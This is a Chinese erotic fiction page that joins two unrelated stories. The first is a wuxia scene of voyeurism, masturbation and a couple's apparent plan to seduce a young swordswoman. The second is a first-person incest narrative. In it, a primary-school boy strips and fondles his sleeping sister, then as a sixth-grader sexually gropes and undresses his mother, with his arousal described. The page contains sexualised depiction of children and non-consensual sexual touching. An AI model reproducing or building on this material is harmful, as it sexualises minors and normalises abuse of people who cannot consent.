图片载入中

浪情侠女1-4

特大字】 【大字】 【中字】 【小字

浪情侠女

第一章

斗室之中,一位羽衣道士盘坐蒲团之上,似乎正在想着些什么,发髻虽是梳得整整齐齐,却已是白发多于黑发,脸上却是一丝皱纹也无,鹤发童颜,样貌确是个有道之士。

“师父”一句通报轻声地打破了室内的寂静,“徒儿清源告进。”

“进来吧!”

门启处,一个道士走了进来,在门扉开闭之间带进了月色和几许蝉鸣。道士恭恭敬敬地对师父行了礼,才端端整整地坐在一旁,虽说看起来较蒲团上的道士年轻些,但发色也已掺和了丝丝白发,已经是个中年人了。

“什么事,清源?”

“刚刚清源看到师妹在整理行装,准备明日下山。虽说她天资聪颖,得师父真传,功力已不在武林寻常高手之下,但师妹是女儿家,又兼不知江湖险恶,孤身一人行走江湖,未免……未免太危险了些……”

“为师知道你想说什么,”老道士淡淡一笑,随即敛起脸色,道貌岸然中更增几分严肃,“可是梦芸这次下山,不只是单纯为了走江湖而已,这孩子才出世就去了双亲,身负血海深仇,为师和秋山大师既受她生母遗托,便无袖手旁观之理,偏偏老和尚又早走一步,把这担子全留给了为师。当年一念之动,为师至此已不能摆脱武林血腥,但无论如何,为师也不希望清源你也牵扯进来,梦芸自有她的造化,就让她去吧!”

看着清源道人嗫嚅着,老道士笑了笑,“有什么事就直说吧!不过无论如何,为师是不会准你下山的。”

“清源其实也不想走入红尘劫难之中,只是,”微微思考了一下,清源道人才接了下去,“清源方才整理阁里藏书,发现了一纸青文,是……是梦芸师妹的八字和批文……”

“哦,是那个呀!”老道士闻言微微一怔,回忆的神色中透出了几许无可奈何之意,好像是又好气又好笑的样儿,“当日为师和秋山行经岷江,听得南岸林中婴孩哭啼之声,待到了林内,只见到梦芸小娃儿和她的生母,因身负重伤,加上产后血崩,母体已经无救,只得从其遗托,尽心扶养梦芸长大。”

“但当时正值阴年阴月阴日阴时,林内气息更阴,据为师推算乃是至阴之地,因此为师才和秋山带上梦芸,去找了卜爻看她的面相,算她的八字。据老卜爻说,梦芸的相若换上男子,乃是大吉之相,桃花缠绵不断,多妻多妾,但梦芸既是女子,更兼生时生地皆属于阴,将来只怕有情欲之灾,命中多有桃花劫数,甩不掉、化不去。偏偏这种事又不好对梦芸明讲,天定的多情女子,命中注定有多男之缘,这也是她的命,为师只能隐隐约约向她透露一些,让她多接触房中术书,好让她放开心胸,不至将贞节之事看得太重而已。鸟已离巢,既然放开了就不必再多所牵挂,知道吗?”

“清源知道了。”

完全不知道师父和师兄有这么一段对话,第二天一早,秦梦芸便下山了,人海茫茫,可她对父母之仇什么线索都没有,只知道主要出手的有两个人,所用的暗器和母亲所用的同是血叶镖,或有可能是母亲的同门师兄弟而已。如今武林豪士当中,会使用这奇门血叶镖的,只剩一个君羽山庄的庄主项枫,而且君羽山庄的崛起,又正好在秦梦芸出生之后不久,看来项枫的干系该是不小,偏偏师父在下山之前一再叮嘱,项枫成名久矣,乃一方武林大豪,她就算武功不弱多少,江湖经验可还差得太远,所以在下山两年之内,秦梦芸只能四处走看,增加江湖经验,沉积智能阅历,绝对不准打草惊蛇,轻易就去找他。

从出生以来一直留在山中,只有和尚师父和道士师父两人,以及师兄陪伴着,秦梦芸从来不知世情,走在山路上还不怎么样,一进到市镇当中,可就有苦头吃了,这小姑娘眉目如画、肌如瑞雪,秋水般的明眸流转之际令人魂飞,清纯当中又带着几分娇媚,顾盼之间孕育几许风情,所到之处犹如磁石一般,吸引了多少男女眼光,还有数也数不清的品头论足,叽叽喳喳的,真教人吃不消,若非她一身道姑服饰,又兼背负长剑,颇有几分侠女英气,只怕早有登徒子上前攀谈,黏着不去了。

虽说没有人黏着,可周遭大堆人品头论足,秦梦芸可也受不了了,下山前原有些走看风景的闲情逸致,到此都烟销云散,能赶多少路就赶多少路,一些儿流连也没有。

这一日已近傍晚,走了好长一段路的秦梦芸终于找到了个小村镇,只是才一进镇,麻烦就黏上来了。

“哟!这么美的小姑娘啊!”才听到第一句话,秦梦芸已经心头火起,这些日子以来积压的火气似都给挑了起来,不过她是习武之人,修习的又是玄门正宗的武功,克制之心比一般人都强,否则一路上多半已经是一条血路了吧?勉勉强强压着心头火发,秦梦芸连理都不理那人,继续向前走去,一面注意着有没有客栈或人家可以借宿的,偏偏那人就好像是闻到了蜜味的蜂儿般,还在秦梦芸的身畔绕个不休,口里不干不净的,真不知道他从那儿来的那么多轻薄言语,听得秦梦芸真想掩耳而遁,若不是时刻已晚,非得找个地方住下不可,她早已经施展轻功高飞远走,才不耐烦有这么个缠人货呢!

忍耐终也有个限度,听着耳边絮聒的那人完全没个停,秦梦芸可实在忍不住了,右手的动作快到连看都没能看清楚,秦梦芸背上的长剑已经出鞘,直抵那人胸口,娇柔明媚的秋波带着几分煞气直盯着他,吓得他一句话当场哽住,抽着气再也说不出来。

若非秋山大师和聆暮真人都是武林中声名远播的前辈高人,秦梦芸武功由明师所授,虽在气怒之下,仍犹有自制,出手之间颇有分寸,只怕这人已经了帐了吧?长剑凝在他胸前,只是忍着不刺下去,秦梦芸这才看清了此人,已近中年的面貌并不猥琐,还带着几分俊美,看起来身子也颇壮实,只是带着几分流里流气,加上畏怕之下整个人缩成了一团,看他这么可怜的样儿,秦梦芸实在也杀不下手,手一抖长剑已经回鞘,只不过不忍气地踢了他一脚,疼的那人连忙没命地钻逃出去。

“这位姑娘是出外人吧?”又走了一段路,一个声音从旁边冒了出来,秦梦芸定下了脚步,转身看去,原来是位妇人,身材丰满却不见肥胖,衣裳看来是中上人家的衣着,虽是徐娘半老却还留存几分姿色,脸上还挂着柔和的笑意,令人一见就想亲近。

“是,”秦梦芸报以一笑,差点看呆了那妇人,原先秦梦芸虽还有余怒,微扳着脸孔,也难掩那娇媚容姿,现在她转颜一笑,启朱唇如樱桃初破,丁香微吐处声气甜美,真有绝色之姿,教人一见忘俗,“小女子路过此处,错过了宿头,不知镇内可有客栈?”

“我们这儿是个穷地方,没有什么客栈,”那妇人解嘲地笑了笑,“如果姑娘不嫌弃,我家还有几间空的客房,不如就到我家住一晚上,如何?”

“那就麻烦大娘了。”

轻轻地吁了口气,秦梦芸满足地躺到了床上,虽说只是村镇人家,感觉上却比一般的客栈都好,不只是那妇人胡玉倩好客,连她的女儿吕家玲,稍比秦梦芸大上个半岁的新寡少妇也是殷勤无比,犹如回到家一般的舒服,甚至还有山间自然的温泉沐浴呢!看她换下的衣裳风尘仆仆,胡玉倩一片好心,要帮秦梦芸好生洗个干净,秦梦芸一方面拗她不过,一方面也确实想换身干净,就由得她了,只是没想到她走进客房,衣柜里却有许多她前所未见的衣裳,多是薄纱小衣,虽然明知这是睡时穿着的,但光看就令人脸红心跳,真不知这村妇是怎样弄到这些的。

不过秦梦芸小女子心性,也爱尝新,虽说是羞的面红耳赤,却还是忍不住找了件合适自己身材的披上,飘然自怜。看着时还不感觉怎样,才只是摸到,秦梦芸就知道这薄薄纱衣的舒服处了,这些年来秦梦芸在山里穿的都是自制的粗麻内衣,对那粗糙的、磨磨挲挲的擦痒感早已是见怪不怪,但这薄纱小衣可不一样,不只没有粗麻衣裳那般紧束,还轻暖温柔地熨着她周身,羽毛般轻轻扫过秦梦芸敏感娇嫩的肌肤,舒服到令人一上床就酣然欲梦。那薄纱衣裳穿来触感是如此的舒服,令人真是爱不释手,秦梦芸索性连原先穿的里衣都脱了,让娇嫩的少女胴体完全覆在那美妙无比的触感之下,虽说纱内赤裸裸的甚是羞人,反正无人旁观,也就不放在心上,秦梦芸心中虽知道不太可能,但浑身畅快的她可真的好想等离开的时候,向胡大娘要个几件,以备以后穿用呢!

虽是赶了一天的路,难免疲累,新穿的薄纱小衣又是舒服无比,温暖的床褥令人睡得又深沉又舒服,真不想醒来,但秦梦芸武功不俗,耳目也较一般人更为灵便,才到半夜,迷迷茫茫之间便被一阵奇异的声音给唤醒了。

半梦半醒之间,秦梦芸随着声音来处,手依着墙缓缓而行,小小村镇早已是一片黑灯暗火,一丝光明也不见了。她赤着双足,半茫地寻觅着声音来处,薄纱小衣不禁风,脚底和身上不时传来些许寒意,若不是秦梦芸内功深厚,怕早回去穿戴整齐才出来了。走着走着,一丝微弱的光亮透过门缝,洒入秦梦芸半茫的眼中,那声音来得更明显了,好像是肉体碰撞的声音,中间还夹着不少水花,啪啪地作响,间歇混着男人的低喘声和女人的呻吟声,听那女子的声气,就是接待秦梦芸的中年妇人,和这男子相当熟识,而且好像正做着一件快乐无比的事儿,音调又甜又媚,还半在睡梦中的秦梦芸这才微微一醒,听来那并不像是有宵小侵入,而是那妇人习以为常的事儿,该没有她这武林侠女出面的份儿,该是她回房休歇的时刻了,偏偏一双玉腿就是没法回头,体内有一股莫名的感觉,不断催逼着秦梦芸要去看清究竟发生了什么事。

摒住了唿吸,将脸蛋儿贴上了微启的门缝,就着明亮的烛火,房内的景像一览无遗,让秦梦芸差点儿就要叫出来,幸亏及时按住张开了一半的樱桃小嘴。里面的床侧面对着房门,床上那风韵犹存的胡玉倩剥得赤条条的,丰腴的体态真正诱人心动,她的臀部悬空,双手撑着腰,双腿挂在一个同样赤裸的男子身上,正拼命地左右扭动着腰;而那高跪着的男子正用双手箍在那妇人腰上,虎腰一前一后的猛烈抽送着,抽插之间一股又一股的淫水,从那妇人臀股之间不断汨出,若不是胡玉倩随着那男人的抽送,头正左右猛摇着,以秦梦芸的位置,还真看不到她的表情。虽说看得不太清楚,不过秦梦芸可是清清楚楚,屋里的两人正干着极舒服的事儿,光看胡玉倩扭腰挺臀的那股浪劲,连一对丰腴的乳房也拼命地舞着,就知道她正享受着呢!秦梦芸虽说只是初出武林的侠女,但她师父从不曾禁止她翻阅道门关于男女交欢之术的书籍,偶尔还特地指导她浏览略阅,她虽还是处子之躯,对这种事可不像一般正道女侠那么不在行,甚至连采阴补阳的功夫都会上一点,不过那都只是书上的学问,秦梦芸可是头一次亲眼看到,男女在狂欢淫乐之时,竟能够疯狂到此等模样,看来其中妙趣,可要比书上形容还要好过千万倍哩!

“啊……好棒……你今天……好厉害……啊……巴弟弟……巴哥哥……你今儿……今儿怎么……怎么这么勇……这么悍……啊……捣得姐姐好爽……啊……姐姐……姐姐都快被你给……唔……给搞死了……”

胡玉倩的娇唿浪声愈来愈大、也愈来愈浪,听得外头的秦梦芸脸红心跳,虽说这终是人家的私事,作客的女孩儿家实在不该驻足偷看,而且胡大娘几番扭头过来,间中些许微窒,或许已经发现了有人在外偷看,秦梦芸那娇羞的少女心已不知几千几万次要她转身回房去歇着,但也不知怎么着,秦梦芸就是转不过身去,双腿犹似灌了醋般动弹不得,眼光更是定定地看着房内上演的活春宫,十只纤纤春笋般的玉指,不知何时已经滑入衣内,轻托着那耸挺的玉乳,自顾自地摸弄起来。

当那还带着些许夜间寒气的葱指,终于滑到了秦梦芸双腿之间,娇稚地触及她从未被触碰的少女秘境时,秦梦芸情不自禁地浑身一震,也不只是为了那前所未有的感觉所震撼而已,眼前的尽情交欢已经快到了极限,两人的神情都似沉醉在淫乐当中,但更教秦梦芸惊讶的是,正勇猛狠干着胡玉倩的姓巴男子,竟就是当她初入小村时,那死命黏着她的轻薄汉子,原先看到他时,已知此人颇为壮实,如今亲眼看到他赤条条的模样,果然雄壮,光看便知此人体力过人,怪不得能在床上搞得胡玉倩这等狼虎之年妇人也要爽的告饶。这莫不是个陷阱?猛地跳起了这念头,秦梦芸原想破门而入,质问她两人,又或者是回到房里装睡,看接下来有什么搞头,偏偏秘境处一股奇妙的感觉袭上身来,令秦梦芸浑身酥麻,连动都不想动了,她只能拼命克制已兵临城下的纤指不要继续动作,却又不愿意抽出来,连托着玉乳的手掌都移不开来了,明知这样待着不好,却又陷入了动弹不得的窘境。

正当秦梦芸在房外进退不得时,里头床上的两人已经分了开来,正互搂着喁喁深谈呢!

“唔,我的好巴弟弟,”胡玉倩侧了侧身,遮住了房门的视线,让秦梦芸再看不到那巴姓汉子的脸孔,“你今儿个怎么这么猛?还连点前戏都不做,一进来抓了就干,一开始搞得姐姐都疼死了,到底是怎么回事?”

“还不是受了委屈?”那巴姓汉子恨恨的说,“我巴人岳还没见过这么辣手的雏儿,才不过说几句话而已,就拿剑指着我胸口了。不过辣归辣,这小道姑还真是美的惊人,从来没见过这么美的道姑,那一天她要落到了我手里,我还真不知是该怜香惜玉好呢?还是该狠狠干她个死去活来好哩!”

“原来是这样,你呀!是来拿你胡姐姐出气的。”似是用手指轻轻点了点巴人岳的额头,胡玉倩半翻过身子,似有意若无意地向门口望了一眼,别过脸去娇滴滴地笑了起来,忽地像是想起了什么,“会使剑?还是个道姑?美的惊人?你说的莫不是今儿借宿的梦芸小姐么?”

“她就借宿在你家?”那汉子原想起身,给胡玉倩一扯,又拉倒到床上来,整个人都给她遮住了。“你干什么?老子还有余火未清,正好拿她来消消火,看我怎么还她一剑之辱?我保证要把她搞得开花,让她知道我巴人岳可不是好惹的。”

“我可不准你对梦芸小姐怎么样,再怎么说她是我胡玉倩的客人,好巴弟弟,这面子至少做给姐姐我吧?”

“也……好吧!”

“搞清楚,我这可是为了你好,”胡玉倩娇滴滴的笑着,声音还真不像个中年妇人,看来性爱对她还真是颇有滋润,不过听了这对话,秦梦芸也放了心,这胡大娘这么护着自己,看来这该不是个陷阱才是,“梦芸小姐可是个好姑娘,娇滴滴白嫩嫩,还是在室的,连苞都没破,那能给你随意糟蹋?何况人家是武林侠女,身具武功,你巴人岳不过有几斤蛮力气,如果梦芸小姐心里不愿意,你想要硬上啊!不给人家宰了才怪。”

“啊?”巴人岳的声音听来有一点迟疑,倒不是为了胡玉倩的话,而是因为侧躺的她手顺势垂了下来,仅两人可见地偷偷指向外面,看得巴人岳真是丈二金刚摸不着头脑。

“不过想来也真是可惜,”语气一转,胡玉倩叹了一口气,“你巴人岳人俊,体力也好,床上对女人又着实有一套,虽然说偶尔是急色了些,不过大体来说,跟你干这事儿还真是种享受。可惜啊!要不是你一开始就给了梦芸小姐坏印像,加上这事我又不方便明讲,否则我真想劝梦芸小姐给你开苞算了,这种事可是非得要一个好男人才做得好的,你倒算是个首选。女儿家嘛!若是不知道其中至为美妙的乐趣,那还真是白活了,哎!要是将来梦芸小姐没遇上个知情识趣的好男子,床笫之间没个好的开始,没能享受到其中妙趣,那可真糟蹋了这样一个国色天香、玉肌仙骨的美人儿。”

听到这儿,巴人岳才会过意来,忙不迭地顺着胡玉倩的话儿讲,“就是啊!这么一个娇滴滴的美人儿,就好像天仙下凡一般,可惜我巴人岳没福,要是有幸能一亲芳泽,我保证会怜香惜玉,绝对把急色劲儿收起来,让她好好享受床笫之乐。”

“别说嘴,”胡玉倩风骚地笑了起来,“你不是才刚说要搞得人家开花吗?”

“哎呀,我的好大姐,”巴人岳也笑着,“我的意思是说,要搞得她心花朵朵开嘛!那滋味你不也试过?不过人家梦芸小姐还是在室的,头一回干这事儿难免会疼痛,要让她心花怒放,只怕我还得要花不少心思呢!你亲自试过,倒是说说,以我巴人岳的厉害,能不能真格让梦芸小姐爽上天去?”

“那……当然是没问题啦!”胡玉倩笑的骚媚无比,眼光飘移之间,似发现了什么好东西般地叫了起来,“哎,你怎么又硬啦?瞧你,才刚把大姐弄得魂飞天外,爽的如登仙境,这棒锤怎么又硬挺了?莫不是你在大姐身上还不满足?我话可先说在前头,给你一番搞下来,身子已经是又酸又软,可禁不得再一回了。”

“还不是那美若天仙的梦芸小姐吗?”巴人岳叹了口气,“虽然是辣了些,却也美的夺人心魄,娇嫩嫩、水灵灵的,真教人一见就心动,虽然是挨了她一脚,可我还是朝思暮想的,一点都不想怪她。哎!只要一想到她,棒锤就硬挺起来了,只可惜她女孩儿脸嫩,就算想也不可能和我销魂一回。”

“说是这么说,你就算再想也不能霸王硬上弓,人家可是清纯的好姑娘,除非她答应了,否则你可不能去碰人家啊!”

“这当然,要怜香惜玉嘛!我巴人岳也不是个莽汉子,不得她亲口答应,我可是绝不会动到她一根寒毛的。”

听两人愈说愈是过份,话题也牵到了自己身上,说的好像是自己已经赤条条地躺在里头床上,任由巴人岳大快朵颐,想怎么干就怎么干,想怎么玩就怎么玩似的,脑子里面跳出来的画面让秦梦芸又羞又气,千思万想的想要回房去休息,可一双玉腿偏似钉住了,动也动不了,加上从方才眼见两人颠鸾倒凤、尽情交欢开始,她浑身上下就烧起了一片火,灼的秦梦芸娇躯一阵阵烫,有一股前所未有的渴望,带领着她不但不回房,反而更是专注地聆听房内人的淫言浪语,双手更是情不自禁地拨弄着敏感的胴体,撩的她身子更是火热烫人了。

我的天哪!怎么会这样的?秦梦芸原想着不扰到她们,就这样弄上一会儿,等舒了那火气就逃回房去的,却没想到愈弄却愈是舒服,完全没法停止,拨揉搓捻之中,双手彷佛已经抓到了几许诀窍,纤细柔嫩的娇躯也不知比平常敏感了多少,竟然愈揉愈是舒服,惹得秦梦芸连唿吸都加重了,那股火原只是在腹下烧着,现在却已经灼的全身都烫热起来,她并不是不知道再这样弄下去,只怕真会没个完,该怎么收场才好,偏偏现在的她欲火焚身,真的是走也走不了了,还得靠着墙边才不至于软倒下去。

突然之间,门已经大开了,一丝不挂的胡玉倩就站在秦梦芸眼前。本能地把手抽出来,偏偏带着黏稠汁水的双手也不知该放那里好,秦梦芸羞的差点想钻进地里头去,想要退开时,软绵绵的双腿却一阵无力,整个人反而向前倒到了胡玉倩身上。

“哎!我的梦芸妹妹,你怎么到这儿来了?”看秦梦芸羞的脸红耳赤,低头看着脚下,一股粉嫩的晕红在她皙白胜雪的肌肤上扩散开来,媚的像是可以掐出水似的,连对胡大娘那突如其来的亲蜜称唿也没反驳,胡玉倩知道,秦梦芸已经动情了,她大着胆子半搂半抱着她,一边低下头来,在秦梦芸细嫩的耳垂上轻轻吹着气,“夜里冷呢!进来吧!”

儿时点滴

我不知道一个男生到底怎样才算是早熟或晚熟,只是在我国小还是低年级的时候对异性的身体就很感兴趣。只是好奇,不带任何淫念的,也不会兴奋。

那时家里的卧室只有两间,一个是我爸妈的大卧室,小妹跟他们一起睡。另一个小卧室是我跟姐睡。或许我爸妈认为我们还小吧,理应不会有什么问题,所以让我们姐弟两睡在一块。后来才知道那时的我(大概国小三年级吧,姐大我三岁)不小了,姐更是长大了。

现代的人大概不会自己缝制内裤穿吧!都是买现成的,男生女生都一样,华歌尔,宜而爽。。。。。。。但我小时候家里可都是“自制”的。我妈有部裁缝车,不是像现在用插电的,那时的裁缝车是用脚踩的,没什么花式车法,很简单的构造。家里大至窗,桌斤,小至手帕,内衣裤,都出自我妈的巧手。既然是自制的,难免因简而陋,谈不上豪华,能穿就是了。

窗廉,桌巾没什么好谈的,但内裤可就有很多文章了。现在想想是蛮好笑的,没有松紧带的内裤,宽宽松松的,裤腰用一条带子串起来充当松紧带。所以要脱裤子是很容易的,带子一拉,裤子就掉下来了。很简陋,但也让我很方便,不管是脱我自己的,还是她们的。。。

我的乱伦历史就是这样子开始的,卧室的不够加上宽松的内裤。刚开始是好奇,对异性的身体觉得好奇。不记得从什么时候开始我发觉每晚跟我一起睡觉的姐可以满足我的好奇心,尤其是夏天。因为夏天衣服本来就穿很少,加上电风扇(我家可买不起冷气机)吹出的风,我发觉姐宽松的内裤会随着风摇摆。那是一个晚上我半夜尿急上完洗手间后回床上时发现的。

微弱的灯光下,姐的下体隐约可见。我就跪着扒在姐的大腿旁看了许久,也不敢动手去摸,就只是看着。直看到好想睡觉为止,然后就又躺下去继续睡了。

这是第一次看到姐的下体,没有发生什么事。其实说第一次也不对,因为很小的时候我都是跟姐一起洗澡的,只是当时根本就不会有什么感觉,也没什么印象。从此以后,就常常晚上睡觉时故意不睡着,等姐睡熟了后把电风扇对准,然后偷看姐的下体。没想到看着看着居然看上瘾了,晚上睡觉变成的每天最期待的事。之后的一些变态的乱伦行为或许就是在这段期间养成的也说不定

每天看,但从来没动过手就是了。也不知看了多久,慢慢的天气变凉了,因为冬天到了。当然冬天来了不是什么大不了的事,但要命的是衣服越穿越多。原本姐都是穿裙子睡觉的(家里穷,没有穿睡衣的习惯,反正不管白天穿什么衣服,到了晚上依旧穿就寝),都开始穿长裤睡觉了。

这很不得了的,因为我再也偷看不到了,偏偏看上瘾了。当然不看是不会死人的,只是会很想,然后会不好睡。几天之后实在忍不住了,真的好想看姐的下体。于是决定动手了,动手把姐的长裤拉下来,这样就又可以看得到了,我当时想。表面看这个决定好像只是为了满足我的好奇心,但很多事的发生就是由此开端。

当天晚上就在姐熟睡之后,开始我的行动。我们小孩子的裤子大多也是我妈做的,不过这个就有松紧带的,穿在外头的嘛,总不能太寒酸。有松紧带就比较不好拉了,不过我还是很小心的用极慢的速度把姐的长裤拉下了。

拉下后(拉到大腿)发觉里面还有内裤,看这时姐的双腿合着(裤子松紧带的关系,张不开的),也没电风扇吹了。怎么办了,只好一不做二不休,再把姐的内裤一并脱下。这内裤就好脱了,带子一拉,就整个松开了,然后往下拉就很容易拉下来的,除了臀部外。

但是还看不到什么,因为姐的双腿还是合着。不过我也不敢再往下拉了,因为若要让姐的双腿张开的话除非是把裤子整个脱下来,这我可不敢。不过这样已经够好了,因为已经有好多天没看到姐的下体了。虽然连那条沟都只露出一点点,也心满意足了。

这次我就不只是看了,反正脱都敢脱了,也就索性摸一下。于是就轻轻的碰一下姐的下体,然后慢慢的把手掌覆盖在突起处轻轻摸着。软软的,细细的,温温的。当时我也没什么感觉,只知道摸到了。其实自己干嘛要摸自己也不是很清楚,只是想摸,但摸完却觉得没什么。

那时候才国小三年级,当然不会有什么感觉,因为那时根本连最基本的冲动与性欲都没有,只为了好奇。自从这次之后就很少再脱姐的裤子了,因为好不容易把裤子脱下来后也不知道要干什么。除了摸一摸,可是好像也没什么好摸的。然后又要费功夫再帮姐把裤子穿上,搞了老半天也不知道到底在干什么。

一个冬天就这样快过去了,好奇心并没有消失,只是不想那么麻烦。我自己也不知道姐到底知不知道我在偷脱她的裤子,不过心想应该没有,因为姐都没有突然醒过来。

过完农历年没多久,终于有事情发生了。有天晚上妈说姐以后就去大卧室睡觉,换妈跟我睡。我一听吓了一大跳,心想是不是姐早知道我会偷脱她的裤子去跟妈讲了,所以妈才不让我继续跟姐睡。

可是妈也没讲什么,我当然也不敢问。只是觉得很奇怪,如果姐跟妈说了,那怎么不是老爸来跟我睡,而却是妈呢?

就这样子我开始跟妈一起睡了,这段期间当然就学乖了,再好奇再胆大也不敢去脱妈的裤子。就这样子平安无事过了两年多。但人总是会长大,然后总是会被学校的同学带坏。当天气越来越热,衣服就越穿越少,然后就会发生一些意外。

——————————————————————————–

2。妈的身体

终于夏天来了,这年的夏天与往年并没有什么不同,还是一样的热,热得有点失控。

没错,事情终于失控了。

我想妈这时候还是认为我只是小孩子,而且妈可能认为我再怎样也不会对自己的母亲乱来吧!这时候我已经是六年级了,当然年纪变大跟人变邪恶并无关连,只是在学校里就是也些同学可以弄到一些小本的(现在叫A书)。大家传来传去,有时我们会将一本书拆成一页一页的,大家轮流看。看完第一页后就开始找第二页在谁那里。然后类推。有些人则是不分前后反正拿到那页就看那页,然后自行在脑子里把剧情连贯起来那时的A书比现在的好看多了,有剧情的,不像现在的A书没有剧情,男女主角从头干到尾。

我也就在这时候阴茎开始会勃起,也会打枪了,不过是怎么学会打枪的倒没什么印象了。我想这样应该不算早熟吧,很多同学都跟我一样的。不过妈还是把我当做小孩子,没想到这小孩子已经很邪恶了,很色了。

每天跟妈睡在一起心里面总觉得痒痒的,有时候躺在床上边想着跟某个女生(通常是电视电影明星)做爱,一边就轻轻的打起枪来了。不过这样很不过瘾,因为会害怕把妈吵醒,所以有时候就干脆到浴室打,打完在回来睡。

慢慢的也不知怎么回事,打枪时脑中幻想跟我做爱的女人居然是妈的脸孔了,也就是幻想跟妈做爱。现在想起来觉得很不可思议,但那时候好像觉得没什么,很自然,没有罪恶感(现在还是没有,我想我大概很变态)。而且幻想的频率越来越高,到最后就只幻想跟妈做爱。

每天晚上就这样躺在妈的旁边,边打枪边幻想,但没有过其他念头。不过日子一天一天过,开始想做一些事了,至少想看看妈的身体了。

有一天晚上我决定要看看是否妈也像姐一样能被我看到下体。我一上床就开始装睡,没多久妈也上床了。不知过了多久,我想妈应该熟睡了吧。于是我做一个大动作的翻身,故意去碰妈一下,然后观察妈的反应。

妈一动也不动,我想妈已经睡得很熟了。我把电风扇对准角度,自己也调整的视线的角度,就等着看了。风是把妈的裙摆吹开了,也看到了妈的大腿跟内裤了,不过其它什么也看不到,因为妈的双脚并不怎么张开。

我不敢去搬动妈的腿,只好静静的等着看看妈会不会换姿势。等了好久终于动了,结果妈翻了身,侧卧了,这下什么也看不到了。等得实在很累,就睡了。

第二天晚上就被我等到了,而且没等多久。妈一上床就大八字躺着,直到熟睡。风吹着就如同姐一般,内裤被吹开来,于是我看到了妈的下体了。因为只能从侧一边看进去,所以看到黑黑一片都是毛。不过这样已经让我够兴奋了,因为以前看大姐的是没有毛的。

从此每天晚上的例行公事就是偷看妈的下体,就如往常一般偷看姐的一样。直到有一天有些不一样的状况。

这天跟往常一样我装睡,只是这天妈很晚才睡。我等了很久,都快真的睡着了。好不容易妈上床了,躺了下来还拉着小薄被盖着。我觉得有点奇怪,等妈熟睡后我起身来看着妈,我不明白怎么妈今天会盖起被子来了。

不过我还是等,看看妈会不会踢被。运气很好,或许真的天气太闷热吧,没多久妈就踢被了,还把双脚张得蛮开的。我一看真得傻了眼,原来妈没穿内裤。整个下体一览无遗的呈现在我面前。

顿时我的心跳得好快,脑子好像有点空白。我瞪着眼看了好久,因为这次看到的不仅是毛,以前看不到的都看到了。大小阴唇,甚至都快看到屁眼了。我看得好仔细,因为机会难得,妈不是天天都不穿内裤的。

看着看着,我就忍不住伸出手在妈的大腿上摸一下,妈没反应。于是我放大胆子继续往妈的下体摸,然后停留在妈的下体。我一直抚摸那个部位,感觉好兴奋,弟弟都硬起来了。

——————————————————————————–

3。第一次接触

从此以后只要家里没人我就喜欢往妈的怀里钻,表面上是撒骄,其实是吃妈的豆腐。当然妈也知道我在干什么,只是不介意罢了。或许是把我当小孩子,或许是溺爱而不忍拒绝我这种行为。不过后者的可能性大些,因为我不只窝在妈的怀里,而根本就上下其手,乱摸一通。如果是前者的话,妈就错了,因为每次摸的时候我都会勃起,都会很兴奋,每次摸完就会到浴室打枪。

就在妈的纵容之下,我越来越大胆了,慢慢的开始敢把手伸到衣服里面了。刚开始是手伸到衣服里隔着胸罩摸妈的胸部,或伸到裙子里隔着内裤摸妈的下体。不过我都是用试探的方式试探妈的容忍度,所以一开始都不会太过份。所以我并不是直接把手伸到妈的衣服里面摸妈的胸部,而是从肚子开始,如果妈没反应,就再往上。

第一次把手伸进去的时候妈就马上把我的手拨开,并且轻声责备说不要乱来。但我从不把这种责备放在心上,只是不会再得寸进尺就是了。然后下次有机会再试看看。

不过家里只剩我和妈的机会不多,差不多一年之后才开始伸手进妈的裙子摸妈下体。刚开始只敢摸妈的大腿,而且第一次伸手进妈的裙子时还被妈敲一下头,警告我不要乱来。当然我不会这样就放弃,等下次有机会时在试看看。

不了解妈为什么那么纵容我,而且我知道只要不太过份,太急进,其实就算第一次不行,第二次,第三次。。。妈总是会让步的。这时妈应该不会再当我是小孩子吧,都快升国中了,连腿上都开始长腿毛了。

国小六年级国一的暑假的进展最快,因为姐跟妹都在外婆家。白天家里只有我跟我妈,还有一些讨厌的邻居。当然这些邻居三不五时就拿他们自家做的馒头包子来我家的时候是不会讨厌的,不过大部分时间他们是到我家串门子。每次来都可以待上一个上午或是一个下午,我妈就边剪线头边跟他们聊。我当然要帮忙剪线头,成为理所当然的听众。然后东家长西家短,材米油盐酱醋茶开门七件事,每天就尽聊这些。

因为家里只有我跟妈,所以跟妈独处的机会很多。我最喜欢每天中午睡午觉的时候,我总会到妈的房间跟妈一起睡。每次睡午觉我觉得很高兴,因为这时候妈就躺在床上任我摸。她也不会管我在干嘛,反正她睡她的。不过妈通常是让我摸过瘾了才睡就是了。

到后来胆子越来越大了,索性把妈的衣服脱掉。刚开始妈不太愿意,当我解扣子时妈总是把我的手推开,不过我还是继续解。几次之后妈也不理我了,就让我解她上衣的扣子。解完扣子把衣服摊开来看到的是妈裸露的上半身,当然还有胸罩。我隔着胸罩摸了一阵子后觉得很不过瘾,于是把手硬伸进胸罩内。

这时妈还是没反应,只是闭着眼睛躺着。我心想再过份反正妈顶多就是责备一下而已,于是心一狠,把妈胸罩的肩带拉了下来,再把罩杯移开,于是妈整个乳房全露出来了。这时妈还是没反应,我想妈是默许了。我轻轻抚摸着妈的乳房,同时一只手也开始往下移动。慢慢的移到了妈的小腹了,妈还是没反应,我觉得很意外,但也没想理会。我心想既然如此,把妈脱光吧。于是就把妈的裙子从裙摆慢慢拉上来,直拉到整个翻上来。一不做二不修,再把妈的内裤整个拉下来,拉到小腿。这时妈突然睁开眼睛,我吓了一跳,心想妈生气了,可能要发飙了。可是妈就只是张着眼睛看着我,也没说话,脸上也没什么表情。结果我愣住了,不知道该怎么办。要继续脱怕妈真的生气了,打退堂鼓又觉得不甘心。

就这样两人干瞪眼好几分钟,或者更久我也不知道,反正还不知道该怎么办就这样杵着。然后妈又把眼睛闭上,我不知道为什么,但觉得妈好像不像在生气。于是就继续我得动作,我把妈小腿上的内裤整个脱下来,这时妈的腰部以下全都裸露了。白白细细的皮肤,阴毛很浓密。

我伸手摸了一下妈的大腿,妈震了一下。我继续往上往内摸,摸妈的大腿内侧,一直摸到妈大腿根处。这时我的手已经在妈的阴部了,我的心跳得好快,又是兴奋,又怕妈突然生气发飙。

我也不知道妈的容忍度到什么程度,不过我想把妈身上剩下的衣物全部脱掉。裙子是松紧带的,很容易脱。但胸罩就不知怎么脱了,我拉来扯去的就是脱不下来。既然脱不下来也不干脆不脱了。这时候我好兴奋,阴茎完全勃起了。

